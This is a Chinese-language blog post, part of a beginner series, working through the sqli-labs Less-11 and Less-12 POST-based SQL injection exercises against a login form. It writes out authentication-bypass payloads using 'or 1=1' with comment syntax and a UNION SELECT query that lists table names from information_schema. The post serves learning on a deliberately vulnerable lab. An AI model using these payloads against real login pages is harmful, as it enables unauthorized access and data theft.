「SQL注入入门篇」SQL注入(八)

为什么我是web安全菜鸡啊!!!

Posted by 许大仙 on November 1, 2016
薯片果然还是要乐事原味

Less-11

刷完了Get型注入,于是我们来到了Post型注入

Post型注入的一个特点就是不会再URL栏看到任何的参数,他的数据传递是包含在HTTP报文里的,于是我们能通过Burp抓包去获取这些数据,进行注入

这时候又能祭出神器Hackbar,勾上Enable Post data,我们就能继续注入了

特点

一上来就看到了一个登陆框,啊万恶的登陆框…

将Username和Password均填入123,抓包情况如下:

登陆失败时显示的是Login Attempt Failed

查看了一下后台的语句,发现是

SELECT username, password FROM users WHERE username='$uname' and password='$passwd'
LIMIT 0,1

注入检测

在用户名后面输入了一个单引号,发现报错

大概能猜出是以单引号闭合的

Payload

其实之前说的万能密码也是一个原理,都是通过合并构造恒为真的语句并且注释掉后面的语句,来实现无密码登陆

经过测试,发现了一些有趣的细节……

uname=123' or 1=1--&passwd=123&submit=Submit // 错误
uname=123' or 1=1 -- &passwd=&submit=Submit // 正确
uname=123' or 1=1 # &passwd=123&submit=Submit // 正确
uname=123' or 1=1 #&passwd=123&submit=Submit // 正确

哦?哦?看来注释和后面语句是要加个空格的对吧 = =

查询表名

uname=123%27 union select 1, table_name from information_schema.tables 
where table_schema=database() -- &passwd=&submit=Submit

后面同理了,省略。

Less-12

道理和Less-11一样,不过这次是双引号和括号闭合的

语句猜测

这个就很明确了,直接在用户名输入123”,报错如下:

很明显语句应该是类似

SELECT username, password FROM users WHERE username=("$uname") and 
password=("$passwd") LIMIT 0,1

Payload

不用讲了吧,闭合好就行了